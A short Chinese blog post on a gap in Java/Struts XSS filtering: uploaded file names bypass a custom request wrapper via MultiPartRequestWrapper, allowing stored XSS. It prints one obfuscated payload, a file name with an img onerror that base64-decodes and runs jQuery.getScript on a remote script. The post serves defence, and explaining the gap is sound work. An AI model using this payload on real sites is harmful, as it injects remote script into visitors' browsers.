java处理xss漏洞的方法一般是配个filter,例如:
chain.doFilter(new XssHttpServletRequestWraper((HttpServletRequest) request), response);
写个HttpServletRequestWrapper的子类XssHttpServletRequestWraper,重写getParameter等方法(过滤),封装request,然后继续执行filter链。(这部分会在之后会写一篇说明)
但是文件名获取不会走新写的request包装包装器类,如果不加处理,存在存储型xss漏洞。
例如:
文件名:<img src=x id=alF1ZXJ5LmdldFNjcmlwdCgiaHR0cHM6Ly9jb2RpbmcubmV0L3UveWFuZ3hpYW9kaS9wL3Rlc3QxL2dpdC9yYXcvbWFzdGVyLzMuanMiKQ onerror=eval(atob(this.id))>2.png"
atob是base64解码方法,解码之后jQuery.getScript("https://coding.net/u/yangxiaodi/p/test1/git/raw/master/3.js")
如果没有得到过滤,前端获取到文件名渲染时不经过转义(服务器存文件时未改名字),会执行js脚本导致xss攻击。
下文以struts为例说明
struts流程:1.走自己写的xssfilter,封装request。
2.走struts的filter dispatcher,dofilter方法中会调用prepareDispatcherAndWrapRequest方法,prepare方法中根据contentType为multipart/form-data,使用MultiPartRequestWrapper封装request. 其他情况用StrutsRequestWrapper封装
3.使用StrutsRequestWrapper封装的情况下,调用getParameter,gerHeader等方法,都会经过自己写的filter类的。
4.MultiPartRequestWrapper
public StringgetParameter(String name) {
return ((multi ==null) || (multi.getParameter(name) ==null)) ?super.getParameter(name) :multi.getParameter(name);
}
其中multi中包含文件名的参数,所以获取文件名不会走自己写的filter类。
综上,文件名需要单独处理。
网友评论